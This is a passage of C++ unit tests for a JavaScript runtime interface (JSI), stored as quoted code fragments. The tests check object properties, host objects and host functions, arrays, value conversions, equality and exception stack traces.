\"quux\");\n movedQuux = String::createFromAscii(rt, \"quux2\");\n EXPECT_EQ(movedQuux.utf8(rt), \"quux2\");\n}", "TEST_P(JSITest, ObjectTest) {\n eval(\"x = {1:2, '3':4, 5:'six', 'seven':['eight', 'nine']}\");\n Object x = rt.global().getPropertyAsObject(rt, \"x\");\n EXPECT_EQ(x.getPropertyNames(rt).size(rt), 4);\n EXPECT_TRUE(x.hasProperty(rt, \"1\"));\n EXPECT_TRUE(x.hasProperty(rt, PropNameID::forAscii(rt, \"1\")));\n EXPECT_FALSE(x.hasProperty(rt, \"2\"));\n EXPECT_FALSE(x.hasProperty(rt, PropNameID::forAscii(rt, \"2\")));\n EXPECT_TRUE(x.hasProperty(rt, \"3\"));\n EXPECT_TRUE(x.hasProperty(rt, PropNameID::forAscii(rt, \"3\")));\n EXPECT_TRUE(x.hasProperty(rt, \"seven\"));\n EXPECT_TRUE(x.hasProperty(rt, PropNameID::forAscii(rt, \"seven\")));\n EXPECT_EQ(x.getProperty(rt, \"1\").getNumber(), 2);\n EXPECT_EQ(x.getProperty(rt, PropNameID::forAscii(rt, \"1\")).getNumber(), 2);\n EXPECT_EQ(x.getProperty(rt, \"3\").getNumber(), 4);\n Value five = 5;\n EXPECT_EQ(\n x.getProperty(rt, PropNameID::forString(rt, five.toString(rt)))\n .getString(rt)\n .utf8(rt),\n \"six\");", " x.setProperty(rt, \"ten\", 11);\n EXPECT_EQ(x.getPropertyNames(rt).size(rt), 5);\n EXPECT_TRUE(eval(\"x.ten == 11\").getBool());", " x.setProperty(rt, \"e_as_float\", 2.71f);\n EXPECT_TRUE(eval(\"Math.abs(x.e_as_float - 2.71) < 0.001\").getBool());", " x.setProperty(rt, \"e_as_double\", 2.71);\n EXPECT_TRUE(eval(\"x.e_as_double == 2.71\").getBool());", " uint8_t utf8[] = {0xF0, 0x9F, 0x86, 0x97};\n String nonAsciiName = String::createFromUtf8(rt, utf8, sizeof(utf8));\n x.setProperty(rt, PropNameID::forString(rt, nonAsciiName), \"emoji\");\n EXPECT_EQ(x.getPropertyNames(rt).size(rt), 8);\n EXPECT_TRUE(eval(\"x['\\\\uD83C\\\\uDD97'] == 'emoji'\").getBool());", " Object seven = x.getPropertyAsObject(rt, \"seven\");\n EXPECT_TRUE(seven.isArray(rt));\n Object evalf = rt.global().getPropertyAsObject(rt, \"eval\");\n EXPECT_TRUE(evalf.isFunction(rt));", " Object movedX = Object(rt);\n movedX = std::move(x);\n EXPECT_EQ(movedX.getPropertyNames(rt).size(rt), 8);\n EXPECT_EQ(movedX.getProperty(rt, \"1\").getNumber(), 2);", " Object obj = Object(rt);\n obj.setProperty(rt, \"roses\", \"red\");\n obj.setProperty(rt, \"violets\", \"blue\");\n Object oprop = Object(rt);\n obj.setProperty(rt, \"oprop\", oprop);\n obj.setProperty(rt, \"aprop\", Array(rt, 1));", " EXPECT_TRUE(function(\"function (obj) { return \"\n \"obj.roses == 'red' && \"\n \"obj['violets'] == 'blue' && \"\n \"typeof obj.oprop == 'object' && \"\n \"Array.isArray(obj.aprop); }\")\n .call(rt, obj)\n .getBool());", " // Check that getPropertyNames doesn't return non-enumerable\n // properties.\n obj = function(\n \"function () {\"\n \" obj = {};\"\n \" obj.a = 1;\"\n \" Object.defineProperty(obj, 'b', {\"\n \" enumerable: false,\"\n \" value: 2\"\n \" });\"\n \" return obj;\"\n \"}\")\n .call(rt)\n .getObject(rt);\n EXPECT_EQ(obj.getProperty(rt, \"a\").getNumber(), 1);\n EXPECT_EQ(obj.getProperty(rt, \"b\").getNumber(), 2);\n Array names = obj.getPropertyNames(rt);\n EXPECT_EQ(names.size(rt), 1);\n EXPECT_EQ(names.getValueAtIndex(rt, 0).getString(rt).utf8(rt), \"a\");\n}", "TEST_P(JSITest, HostObjectTest) {\n class ConstantHostObject : public HostObject {\n Value get(Runtime&, const PropNameID& sym) override {\n return 9000;\n }", " void set(Runtime&, const PropNameID&, const Value&) override {}\n };", " Object cho =\n Object::createFromHostObject(rt, std::make_shared<ConstantHostObject>());\n EXPECT_TRUE(function(\"function (obj) { return obj.someRandomProp == 9000; }\")\n .call(rt, cho)\n .getBool());\n EXPECT_TRUE(cho.isHostObject(rt));\n EXPECT_TRUE(cho.getHostObject<ConstantHostObject>(rt).get() != nullptr);", " struct SameRuntimeHostObject : HostObject {\n SameRuntimeHostObject(Runtime& rt) : rt_(rt){};", " Value get(Runtime& rt, const PropNameID& sym) override {\n EXPECT_EQ(&rt, &rt_);\n return Value();\n }", " void set(Runtime& rt, const PropNameID& name, const Value& value) override {\n EXPECT_EQ(&rt, &rt_);\n }", " std::vector<PropNameID> getPropertyNames(Runtime& rt) override {\n EXPECT_EQ(&rt, &rt_);\n return {};\n }", " Runtime& rt_;\n };", " Object srho = Object::createFromHostObject(\n rt, std::make_shared<SameRuntimeHostObject>(rt));\n // Test get's Runtime is as expected\n function(\"function (obj) { return obj.isSame; }\").call(rt, srho);\n // ... and set\n function(\"function (obj) { obj['k'] = 'v'; }\").call(rt, srho);\n // ... and getPropertyNames\n function(\"function (obj) { for (k in obj) {} }\").call(rt, srho);", " class TwiceHostObject : public HostObject {\n Value get(Runtime& rt, const PropNameID& sym) override {\n return String::createFromUtf8(rt, sym.utf8(rt) + sym.utf8(rt));\n }", " void set(Runtime&, const PropNameID&, const Value&) override {}\n };", " Object tho =\n Object::createFromHostObject(rt, std::make_shared<TwiceHostObject>());\n EXPECT_TRUE(function(\"function (obj) { return obj.abc == 'abcabc'; }\")\n .call(rt, tho)\n .getBool());\n EXPECT_TRUE(function(\"function (obj) { return obj['def'] == 'defdef'; }\")\n .call(rt, tho)\n .getBool());\n EXPECT_TRUE(function(\"function (obj) { return obj[12] === '1212'; }\")\n .call(rt, tho)\n .getBool());\n EXPECT_TRUE(tho.isHostObject(rt));\n EXPECT_TRUE(\n std::dynamic_pointer_cast<ConstantHostObject>(tho.getHostObject(rt)) ==\n nullptr);\n EXPECT_TRUE(tho.getHostObject<TwiceHostObject>(rt).get() != nullptr);", " class PropNameIDHostObject : public HostObject {\n Value get(Runtime& rt, const PropNameID& sym) override {\n if (PropNameID::compare(rt, sym, PropNameID::forAscii(rt, \"undef\"))) {\n return Value::undefined();\n } else {\n return PropNameID::compare(\n rt, sym, PropNameID::forAscii(rt, \"somesymbol\"));\n }\n }", " void set(Runtime&, const PropNameID&, const Value&) override {}\n };", " Object sho = Object::createFromHostObject(\n rt, std::make_shared<PropNameIDHostObject>());\n EXPECT_TRUE(sho.isHostObject(rt));\n EXPECT_TRUE(function(\"function (obj) { return obj.undef; }\")\n .call(rt, sho)\n .isUndefined());\n EXPECT_TRUE(function(\"function (obj) { return obj.somesymbol; }\")\n .call(rt, sho)\n .getBool());\n EXPECT_FALSE(function(\"function (obj) { return obj.notsomuch; }\")\n .call(rt, sho)\n .getBool());", " class BagHostObject : public HostObject {\n public:\n const std::string& getThing() {\n return bag_[\"thing\"];\n }", " private:\n Value get(Runtime& rt, const PropNameID& sym) override {\n if (sym.utf8(rt) == \"thing\") {\n return String::createFromUtf8(rt, bag_[sym.utf8(rt)]);\n }\n return Value::undefined();\n }", " void set(Runtime& rt, const PropNameID& sym, const Value& val) override {\n std::string key(sym.utf8(rt));\n if (key == \"thing\") {\n bag_[key] = val.toString(rt).utf8(rt);\n }\n }", " std::unordered_map<std::string, std::string> bag_;\n };", " std::shared_ptr<BagHostObject> shbho = std::make_shared<BagHostObject>();\n Object bho = Object::createFromHostObject(rt, shbho);\n EXPECT_TRUE(bho.isHostObject(rt));\n EXPECT_TRUE(function(\"function (obj) { return obj.undef; }\")\n .call(rt, bho)\n .isUndefined());\n EXPECT_EQ(\n function(\"function (obj) { obj.thing = 'hello'; return obj.thing; }\")\n .call(rt, bho)\n .toString(rt)\n .utf8(rt),\n \"hello\");\n EXPECT_EQ(shbho->getThing(), \"hello\");", " class ThrowingHostObject : public HostObject {\n Value get(Runtime& rt, const PropNameID& sym) override {\n throw std::runtime_error(\"Cannot get\");\n }", " void set(Runtime& rt, const PropNameID& sym, const Value& val) override {\n throw std::runtime_error(\"Cannot set\");\n }\n };", " Object thro =\n Object::createFromHostObject(rt, std::make_shared<ThrowingHostObject>());\n EXPECT_TRUE(thro.isHostObject(rt));\n std::string exc;\n try {\n function(\"function (obj) { return obj.thing; }\").call(rt, thro);\n } catch (const JSError& ex) {\n exc = ex.what();\n }\n EXPECT_NE(exc.find(\"Cannot get\"), std::string::npos);\n exc = \"\";\n try {\n function(\"function (obj) { obj.thing = 'hello'; }\").call(rt, thro);\n } catch (const JSError& ex) {\n exc = ex.what();\n }\n EXPECT_NE(exc.find(\"Cannot set\"), std::string::npos);", " class NopHostObject : public HostObject {};\n Object nopHo =\n Object::createFromHostObject(rt, std::make_shared<NopHostObject>());\n EXPECT_TRUE(nopHo.isHostObject(rt));\n EXPECT_TRUE(function(\"function (obj) { return obj.thing; }\")\n .call(rt, nopHo)\n .isUndefined());", " std::string nopExc;\n try {\n function(\"function (obj) { obj.thing = 'pika'; }\").call(rt, nopHo);\n } catch (const JSError& ex) {\n nopExc = ex.what();\n }\n EXPECT_NE(nopExc.find(\"TypeError: \"), std::string::npos);", " class HostObjectWithPropertyNames : public HostObject {\n std::vector<PropNameID> getPropertyNames(Runtime& rt) override {\n return PropNameID::names(\n rt, \"a_prop\", \"1\", \"false\", \"a_prop\", \"3\", \"c_prop\");\n }\n };", " Object howpn = Object::createFromHostObject(\n rt, std::make_shared<HostObjectWithPropertyNames>());\n EXPECT_TRUE(\n function(\n \"function (o) { return Object.getOwnPropertyNames(o).length == 5 }\")\n .call(rt, howpn)\n .getBool());", " auto hasOwnPropertyName = function(\n \"function (o, p) {\"\n \" return Object.getOwnPropertyNames(o).indexOf(p) >= 0\"\n \"}\");\n EXPECT_TRUE(\n hasOwnPropertyName.call(rt, howpn, String::createFromAscii(rt, \"a_prop\"))\n .getBool());\n EXPECT_TRUE(\n hasOwnPropertyName.call(rt, howpn, String::createFromAscii(rt, \"1\"))\n .getBool());\n EXPECT_TRUE(\n hasOwnPropertyName.call(rt, howpn, String::createFromAscii(rt, \"false\"))\n .getBool());\n EXPECT_TRUE(\n hasOwnPropertyName.call(rt, howpn, String::createFromAscii(rt, \"3\"))\n .getBool());\n EXPECT_TRUE(\n hasOwnPropertyName.call(rt, howpn, String::createFromAscii(rt, \"c_prop\"))\n .getBool());\n EXPECT_FALSE(hasOwnPropertyName\n .call(rt, howpn, String::createFromAscii(rt, \"not_existing\"))\n .getBool());", "}", "TEST_P(JSITest, HostObjectProtoTest) {\n class ProtoHostObject : public HostObject {\n Value get(Runtime& rt, const PropNameID&) override {\n return String::createFromAscii(rt, \"phoprop\");\n }\n };", " rt.global().setProperty(\n rt,\n \"pho\",\n Object::createFromHostObject(rt, std::make_shared<ProtoHostObject>()));", " EXPECT_EQ(\n eval(\"({__proto__: pho})[Symbol.toPrimitive]\").getString(rt).utf8(rt),\n \"phoprop\");", "}", "TEST_P(JSITest, ArrayTest) {\n eval(\"x = {1:2, '3':4, 5:'six', 'seven':['eight', 'nine']}\");", " Object x = rt.global().getPropertyAsObject(rt, \"x\");\n Array names = x.getPropertyNames(rt);\n EXPECT_EQ(names.size(rt), 4);\n std::unordered_set<std::string> strNames;\n for (size_t i = 0; i < names.size(rt); ++i) {\n Value n = names.getValueAtIndex(rt, i);\n EXPECT_TRUE(n.isString());\n strNames.insert(n.getString(rt).utf8(rt));\n }", " EXPECT_EQ(strNames.size(), 4);\n EXPECT_EQ(strNames.count(\"1\"), 1);\n EXPECT_EQ(strNames.count(\"3\"), 1);\n EXPECT_EQ(strNames.count(\"5\"), 1);\n EXPECT_EQ(strNames.count(\"seven\"), 1);", " Object seven = x.getPropertyAsObject(rt, \"seven\");\n Array arr = seven.getArray(rt);", " EXPECT_EQ(arr.size(rt), 2);\n EXPECT_EQ(arr.getValueAtIndex(rt, 0).getString(rt).utf8(rt), \"eight\");\n EXPECT_EQ(arr.getValueAtIndex(rt, 1).getString(rt).utf8(rt), \"nine\");\n // TODO: test out of range", " EXPECT_EQ(x.getPropertyAsObject(rt, \"seven\").getArray(rt).size(rt), 2);", " // Check that property access with both symbols and strings can access\n // array values.\n EXPECT_EQ(seven.getProperty(rt, \"0\").getString(rt).utf8(rt), \"eight\");\n EXPECT_EQ(seven.getProperty(rt, \"1\").getString(rt).utf8(rt), \"nine\");\n seven.setProperty(rt, \"1\", \"modified\");\n EXPECT_EQ(seven.getProperty(rt, \"1\").getString(rt).utf8(rt), \"modified\");\n EXPECT_EQ(arr.getValueAtIndex(rt, 1).getString(rt).utf8(rt), \"modified\");\n EXPECT_EQ(\n seven.getProperty(rt, PropNameID::forAscii(rt, \"0\"))\n .getString(rt)\n .utf8(rt),\n \"eight\");\n seven.setProperty(rt, PropNameID::forAscii(rt, \"0\"), \"modified2\");\n EXPECT_EQ(arr.getValueAtIndex(rt, 0).getString(rt).utf8(rt), \"modified2\");", " Array alpha = Array(rt, 4);\n EXPECT_TRUE(alpha.getValueAtIndex(rt, 0).isUndefined());\n EXPECT_TRUE(alpha.getValueAtIndex(rt, 3).isUndefined());\n EXPECT_EQ(alpha.size(rt), 4);\n alpha.setValueAtIndex(rt, 0, \"a\");\n alpha.setValueAtIndex(rt, 1, \"b\");\n EXPECT_EQ(alpha.length(rt), 4);\n alpha.setValueAtIndex(rt, 2, \"c\");\n alpha.setValueAtIndex(rt, 3, \"d\");\n EXPECT_EQ(alpha.size(rt), 4);", " EXPECT_TRUE(\n function(\n \"function (arr) { return \"\n \"arr.length == 4 && \"\n \"['a','b','c','d'].every(function(v,i) { return v === arr[i]}); }\")\n .call(rt, alpha)\n .getBool());", " Array alpha2 = Array(rt, 1);\n alpha2 = std::move(alpha);\n EXPECT_EQ(alpha2.size(rt), 4);\n}", "TEST_P(JSITest, FunctionTest) {\n // test move ctor\n Function fmove = function(\"function() { return 1 }\");\n {\n Function g = function(\"function() { return 2 }\");\n fmove = std::move(g);\n }\n EXPECT_EQ(fmove.call(rt).getNumber(), 2);", " // This tests all the function argument converters, and all the\n // non-lvalue overloads of call().\n Function f = function(\n \"function(n, b, d, df, i, s1, s2, s3, s_sun, s_bad, o, a, f, v) { \"\n \"return \"\n \"n === null && \"\n \"b === true && \"\n \"d === 3.14 && \"\n \"Math.abs(df - 2.71) < 0.001 && \"\n \"i === 17 && \"\n \"s1 == 's1' && \"\n \"s2 == 's2' && \"\n \"s3 == 's3' && \"\n \"s_sun == 's\\\\u2600' && \"\n \"typeof s_bad == 'string' && \"\n \"typeof o == 'object' && \"\n \"Array.isArray(a) && \"\n \"typeof f == 'function' && \"\n \"v == 42 }\");\n EXPECT_TRUE(f.call(\n rt,\n nullptr,\n true,\n 3.14,\n 2.71f,\n 17,\n \"s1\",\n String::createFromAscii(rt, \"s2\"),\n std::string{\"s3\"},\n std::string{u8\"s\\u2600\"},\n // invalid UTF8 sequence due to unexpected continuation byte\n std::string{\"s\\x80\"},\n Object(rt),\n Array(rt, 1),\n function(\"function(){}\"),\n Value(42))\n .getBool());", " // lvalue overloads of call()\n Function flv = function(\n \"function(s, o, a, f, v) { return \"\n \"s == 's' && \"\n \"typeof o == 'object' && \"\n \"Array.isArray(a) && \"\n \"typeof f == 'function' && \"\n \"v == 42 }\");", " String s = String::createFromAscii(rt, \"s\");\n Object o = Object(rt);\n Array a = Array(rt, 1);\n Value v = 42;\n EXPECT_TRUE(flv.call(rt, s, o, a, f, v).getBool());", " Function f1 = function(\"function() { return 1; }\");\n Function f2 = function(\"function() { return 2; }\");\n f2 = std::move(f1);\n EXPECT_EQ(f2.call(rt).getNumber(), 1);\n}", "TEST_P(JSITest, FunctionThisTest) {\n Function checkPropertyFunction =\n function(\"function() { return this.a === 'a_property' }\");", " Object jsObject = Object(rt);\n jsObject.setProperty(rt, \"a\", String::createFromUtf8(rt, \"a_property\"));", " class APropertyHostObject : public HostObject {\n Value get(Runtime& rt, const PropNameID& sym) override {\n return String::createFromUtf8(rt, \"a_property\");\n }", " void set(Runtime&, const PropNameID&, const Value&) override {}\n };\n Object hostObject =\n Object::createFromHostObject(rt, std::make_shared<APropertyHostObject>());", " EXPECT_TRUE(checkPropertyFunction.callWithThis(rt, jsObject).getBool());\n EXPECT_TRUE(checkPropertyFunction.callWithThis(rt, hostObject).getBool());\n EXPECT_FALSE(checkPropertyFunction.callWithThis(rt, Array(rt, 5)).getBool());\n EXPECT_FALSE(checkPropertyFunction.call(rt).getBool());\n}", "TEST_P(JSITest, FunctionConstructorTest) {\n Function ctor = function(\n \"function (a) {\"\n \" if (typeof a !== 'undefined') {\"\n \" this.pika = a;\"\n \" }\"\n \"}\");\n ctor.getProperty(rt, \"prototype\")\n .getObject(rt)\n .setProperty(rt, \"pika\", \"chu\");\n auto empty = ctor.callAsConstructor(rt);\n EXPECT_TRUE(empty.isObject());\n auto emptyObj = std::move(empty).getObject(rt);\n EXPECT_EQ(emptyObj.getProperty(rt, \"pika\").getString(rt).utf8(rt), \"chu\");\n auto who = ctor.callAsConstructor(rt, \"who\");\n EXPECT_TRUE(who.isObject());\n auto whoObj = std::move(who).getObject(rt);\n EXPECT_EQ(whoObj.getProperty(rt, \"pika\").getString(rt).utf8(rt), \"who\");", " auto instanceof = function(\"function (o, b) { return o instanceof b; }\");\n EXPECT_TRUE(instanceof.call(rt, emptyObj, ctor).getBool());\n EXPECT_TRUE(instanceof.call(rt, whoObj, ctor).getBool());", " auto dateCtor = rt.global().getPropertyAsFunction(rt, \"Date\");\n auto date = dateCtor.callAsConstructor(rt);\n EXPECT_TRUE(date.isObject());\n EXPECT_TRUE(instanceof.call(rt, date, dateCtor).getBool());\n // Sleep for 50 milliseconds\n std::this_thread::sleep_for(std::chrono::milliseconds(50));\n EXPECT_GE(\n function(\"function (d) { return (new Date()).getTime() - d.getTime(); }\")\n .call(rt, date)\n .getNumber(),\n 50);\n}", "TEST_P(JSITest, InstanceOfTest) {\n auto ctor = function(\"function Rick() { this.say = 'wubalubadubdub'; }\");\n auto newObj = function(\"function (ctor) { return new ctor(); }\");\n auto instance = newObj.call(rt, ctor).getObject(rt);\n EXPECT_TRUE(instance.instanceOf(rt, ctor));\n EXPECT_EQ(\n instance.getProperty(rt, \"say\").getString(rt).utf8(rt), \"wubalubadubdub\");\n EXPECT_FALSE(Object(rt).instanceOf(rt, ctor));\n EXPECT_TRUE(ctor.callAsConstructor(rt, nullptr, 0)\n .getObject(rt)\n .instanceOf(rt, ctor));\n}", "TEST_P(JSITest, HostFunctionTest) {\n auto one = std::make_shared<int>(1);\n Function plusOne = Function::createFromHostFunction(\n rt,\n PropNameID::forAscii(rt, \"plusOne\"),\n 2,\n [one, savedRt = &rt](\n Runtime& rt, const Value& thisVal, const Value* args, size_t count) {\n EXPECT_EQ(savedRt, &rt);\n // We don't know if we're in strict mode or not, so it's either global\n // or undefined.\n EXPECT_TRUE(\n Value::strictEquals(rt, thisVal, rt.global()) ||\n thisVal.isUndefined());\n return *one + args[0].getNumber() + args[1].getNumber();\n });", " EXPECT_EQ(plusOne.call(rt, 1, 2).getNumber(), 4);\n EXPECT_TRUE(checkValue(plusOne.call(rt, 3, 5), \"9\"));\n rt.global().setProperty(rt, \"plusOne\", plusOne);\n EXPECT_TRUE(eval(\"plusOne(20, 300) == 321\").getBool());", " Function dot = Function::createFromHostFunction(\n rt,\n PropNameID::forAscii(rt, \"dot\"),\n 2,\n [](Runtime& rt, const Value& thisVal, const Value* args, size_t count) {\n EXPECT_TRUE(\n Value::strictEquals(rt, thisVal, rt.global()) ||\n thisVal.isUndefined());\n if (count != 2) {\n throw std::runtime_error(\"expected 2 args\");\n }\n std::string ret = args[0].getString(rt).utf8(rt) + \".\" +\n args[1].getString(rt).utf8(rt);\n return String::createFromUtf8(\n rt, reinterpret_cast<const uint8_t*>(ret.data()), ret.size());\n });", " rt.global().setProperty(rt, \"cons\", dot);\n EXPECT_TRUE(eval(\"cons('left', 'right') == 'left.right'\").getBool());\n EXPECT_TRUE(eval(\"cons.name == 'dot'\").getBool());\n EXPECT_TRUE(eval(\"cons.length == 2\").getBool());\n EXPECT_TRUE(eval(\"cons instanceof Function\").getBool());", " EXPECT_TRUE(eval(\"(function() {\"\n \" try {\"\n \" cons('fail'); return false;\"\n \" } catch (e) {\"\n \" return ((e instanceof Error) &&\"\n \" (e.message == 'Exception in HostFunction: ' +\"\n \" 'expected 2 args'));\"\n \" }})()\")\n .getBool());", " Function coolify = Function::createFromHostFunction(\n rt,\n PropNameID::forAscii(rt, \"coolify\"),\n 0,\n [](Runtime& rt, const Value& thisVal, const Value* args, size_t count) {\n EXPECT_EQ(count, 0);\n std::string ret = thisVal.toString(rt).utf8(rt) + \" is cool\";\n return String::createFromUtf8(\n rt, reinterpret_cast<const uint8_t*>(ret.data()), ret.size());\n });\n rt.global().setProperty(rt, \"coolify\", coolify);\n EXPECT_TRUE(eval(\"coolify.name == 'coolify'\").getBool());\n EXPECT_TRUE(eval(\"coolify.length == 0\").getBool());\n EXPECT_TRUE(eval(\"coolify.bind('R&M')() == 'R&M is cool'\").getBool());\n EXPECT_TRUE(eval(\"(function() {\"\n \" var s = coolify.bind(function(){})();\"\n \" return s.lastIndexOf(' is cool') == (s.length - 8);\"\n \"})()\")\n .getBool());", " Function lookAtMe = Function::createFromHostFunction(\n rt,\n PropNameID::forAscii(rt, \"lookAtMe\"),\n 0,\n [](Runtime& rt, const Value& thisVal, const Value* args, size_t count)\n -> Value {\n EXPECT_TRUE(thisVal.isObject());\n EXPECT_EQ(\n thisVal.getObject(rt)\n .getProperty(rt, \"name\")\n .getString(rt)\n .utf8(rt),\n \"mr.meeseeks\");\n return Value();\n });\n rt.global().setProperty(rt, \"lookAtMe\", lookAtMe);\n EXPECT_TRUE(eval(\"lookAtMe.bind({'name': 'mr.meeseeks'})()\").isUndefined());", " struct Callable {\n Callable(std::string s) : str(s) {}", " Value\n operator()(Runtime& rt, const Value&, const Value* args, size_t count) {\n if (count != 1) {\n return Value();\n }\n return String::createFromUtf8(\n rt, args[0].toString(rt).utf8(rt) + \" was called with \" + str);\n }", " std::string str;\n };", " Function callable = Function::createFromHostFunction(\n rt,\n PropNameID::forAscii(rt, \"callable\"),\n 1,\n Callable(\"std::function::target\"));\n EXPECT_EQ(\n function(\"function (f) { return f('A cat'); }\")\n .call(rt, callable)\n .getString(rt)\n .utf8(rt),\n \"A cat was called with std::function::target\");\n EXPECT_TRUE(callable.isHostFunction(rt));\n EXPECT_NE(callable.getHostFunction(rt).target<Callable>(), nullptr);", " std::string strval = \"strval1\";\n auto getter = Object(rt);\n getter.setProperty(\n rt,\n \"get\",\n Function::createFromHostFunction(\n rt,\n PropNameID::forAscii(rt, \"getter\"),\n 1,\n [&strval](\n Runtime& rt,\n const Value& thisVal,\n const Value* args,\n size_t count) -> Value {\n return String::createFromUtf8(rt, strval);\n }));\n auto obj = Object(rt);\n rt.global()\n .getPropertyAsObject(rt, \"Object\")\n .getPropertyAsFunction(rt, \"defineProperty\")\n .call(rt, obj, \"prop\", getter);\n EXPECT_TRUE(function(\"function(value) { return value.prop == 'strval1'; }\")\n .call(rt, obj)\n .getBool());\n strval = \"strval2\";\n EXPECT_TRUE(function(\"function(value) { return value.prop == 'strval2'; }\")\n .call(rt, obj)\n .getBool());\n}", "TEST_P(JSITest, ValueTest) {\n EXPECT_TRUE(checkValue(Value::undefined(), \"undefined\"));\n EXPECT_TRUE(checkValue(Value(), \"undefined\"));\n EXPECT_TRUE(checkValue(Value::null(), \"null\"));\n EXPECT_TRUE(checkValue(nullptr, \"null\"));", " EXPECT_TRUE(checkValue(Value(false), \"false\"));\n EXPECT_TRUE(checkValue(false, \"false\"));\n EXPECT_TRUE(checkValue(true, \"true\"));", " EXPECT_TRUE(checkValue(Value(1.5), \"1.5\"));\n EXPECT_TRUE(checkValue(2.5, \"2.5\"));", " EXPECT_TRUE(checkValue(Value(10), \"10\"));\n EXPECT_TRUE(checkValue(20, \"20\"));\n EXPECT_TRUE(checkValue(30, \"30\"));", " // rvalue implicit conversion\n EXPECT_TRUE(checkValue(String::createFromAscii(rt, \"one\"), \"'one'\"));\n // lvalue explicit copy\n String s = String::createFromAscii(rt, \"two\");\n EXPECT_TRUE(checkValue(Value(rt, s), \"'two'\"));", " {\n // rvalue assignment of trivial value\n Value v1 = 100;\n Value v2 = String::createFromAscii(rt, \"hundred\");\n v2 = std::move(v1);\n EXPECT_TRUE(v2.isNumber());\n EXPECT_EQ(v2.getNumber(), 100);\n }", " {\n // rvalue assignment of js heap value\n Value v1 = String::createFromAscii(rt, \"hundred\");\n Value v2 = 100;\n v2 = std::move(v1);\n EXPECT_TRUE(v2.isString());\n EXPECT_EQ(v2.getString(rt).utf8(rt), \"hundred\");\n }", " Object o = Object(rt);\n EXPECT_TRUE(function(\"function(value) { return typeof(value) == 'object'; }\")\n .call(rt, Value(rt, o))\n .getBool());", " uint8_t utf8[] = \"[null, 2, \\\"c\\\", \\\"emoji: \\xf0\\x9f\\x86\\x97\\\", {}]\";", " EXPECT_TRUE(\n function(\"function (arr) { return \"\n \"Array.isArray(arr) && \"\n \"arr.length == 5 && \"\n \"arr[0] === null && \"\n \"arr[1] == 2 && \"\n \"arr[2] == 'c' && \"\n \"arr[3] == 'emoji: \\\\uD83C\\\\uDD97' && \"\n \"typeof arr[4] == 'object'; }\")\n .call(rt, Value::createFromJsonUtf8(rt, utf8, sizeof(utf8) - 1))\n .getBool());", " EXPECT_TRUE(eval(\"undefined\").isUndefined());\n EXPECT_TRUE(eval(\"null\").isNull());\n EXPECT_TRUE(eval(\"true\").isBool());\n EXPECT_TRUE(eval(\"false\").isBool());\n EXPECT_TRUE(eval(\"123\").isNumber());\n EXPECT_TRUE(eval(\"123.4\").isNumber());\n EXPECT_TRUE(eval(\"'str'\").isString());\n // \"{}\" returns undefined. empty code block?\n EXPECT_TRUE(eval(\"({})\").isObject());\n EXPECT_TRUE(eval(\"[]\").isObject());\n EXPECT_TRUE(eval(\"(function(){})\").isObject());", " EXPECT_EQ(eval(\"123\").getNumber(), 123);\n EXPECT_EQ(eval(\"123.4\").getNumber(), 123.4);\n EXPECT_EQ(eval(\"'str'\").getString(rt).utf8(rt), \"str\");\n EXPECT_TRUE(eval(\"[]\").getObject(rt).isArray(rt));", " EXPECT_EQ(eval(\"456\").asNumber(), 456);\n EXPECT_THROW(eval(\"'word'\").asNumber(), JSIException);\n EXPECT_EQ(\n eval(\"({1:2, 3:4})\").asObject(rt).getProperty(rt, \"1\").getNumber(), 2);\n EXPECT_THROW(eval(\"'oops'\").asObject(rt), JSIException);", " EXPECT_EQ(eval(\"['zero',1,2,3]\").toString(rt).utf8(rt), \"zero,1,2,3\");\n}", "TEST_P(JSITest, EqualsTest) {\n EXPECT_TRUE(Object::strictEquals(rt, rt.global(), rt.global()));\n EXPECT_TRUE(Value::strictEquals(rt, 1, 1));\n EXPECT_FALSE(Value::strictEquals(rt, true, 1));\n EXPECT_FALSE(Value::strictEquals(rt, true, false));\n EXPECT_TRUE(Value::strictEquals(rt, false, false));\n EXPECT_FALSE(Value::strictEquals(rt, nullptr, 1));\n EXPECT_TRUE(Value::strictEquals(rt, nullptr, nullptr));\n EXPECT_TRUE(Value::strictEquals(rt, Value::undefined(), Value()));\n EXPECT_TRUE(Value::strictEquals(rt, rt.global(), Value(rt.global())));\n EXPECT_FALSE(Value::strictEquals(\n rt,\n std::numeric_limits<double>::quiet_NaN(),\n std::numeric_limits<double>::quiet_NaN()));\n EXPECT_FALSE(Value::strictEquals(\n rt,\n std::numeric_limits<double>::signaling_NaN(),\n std::numeric_limits<double>::signaling_NaN()));\n EXPECT_TRUE(Value::strictEquals(rt, +0.0, -0.0));\n EXPECT_TRUE(Value::strictEquals(rt, -0.0, +0.0));", " Function noop = Function::createFromHostFunction(\n rt,\n PropNameID::forAscii(rt, \"noop\"),\n 0,\n [](const Runtime&, const Value&, const Value*, size_t) {\n return Value();\n });\n auto noopDup = Value(rt, noop).getObject(rt);\n EXPECT_TRUE(Object::strictEquals(rt, noop, noopDup));\n EXPECT_TRUE(Object::strictEquals(rt, noopDup, noop));\n EXPECT_FALSE(Object::strictEquals(rt, noop, rt.global()));\n EXPECT_TRUE(Object::strictEquals(rt, noop, noop));\n EXPECT_TRUE(Value::strictEquals(rt, Value(rt, noop), Value(rt, noop)));", " String str = String::createFromAscii(rt, \"rick\");\n String strDup = String::createFromAscii(rt, \"rick\");\n String otherStr = String::createFromAscii(rt, \"morty\");\n EXPECT_TRUE(String::strictEquals(rt, str, str));\n EXPECT_TRUE(String::strictEquals(rt, str, strDup));\n EXPECT_TRUE(String::strictEquals(rt, strDup, str));\n EXPECT_FALSE(String::strictEquals(rt, str, otherStr));\n EXPECT_TRUE(Value::strictEquals(rt, Value(rt, str), Value(rt, str)));\n EXPECT_FALSE(Value::strictEquals(rt, Value(rt, str), Value(rt, noop)));\n EXPECT_FALSE(Value::strictEquals(rt, Value(rt, str), 1.0));\n}", "TEST_P(JSITest, ExceptionStackTraceTest) {\n static const char invokeUndefinedScript[] =\n \"function hello() {\"\n \" var a = {}; a.log(); }\"\n \"function world() { hello(); }\"\n \"world()\";\n std::string stack;\n try {\n rt.evaluateJavaScript(\n std::make_unique<StringBuffer>(invokeUndefinedScript), \"\");\n } catch (JSError& e) {\n stack = e.getStack();\n }\n EXPECT_NE(stack.find(\"world\"), std::string::npos);\n}", "TEST_P(JSITest, PreparedJavaScriptSourceTest) {\n rt.evaluateJavaScript(std::make_unique<StringBuffer>(\"var q = 0;\"), \"\");\n auto prep = rt.prepareJavaScript(std::make_unique<StringBuffer>(\"q++;\"), \"\");\n EXPECT_EQ(rt.global().getProperty(rt, \"q\").getNumber(), 0);\n 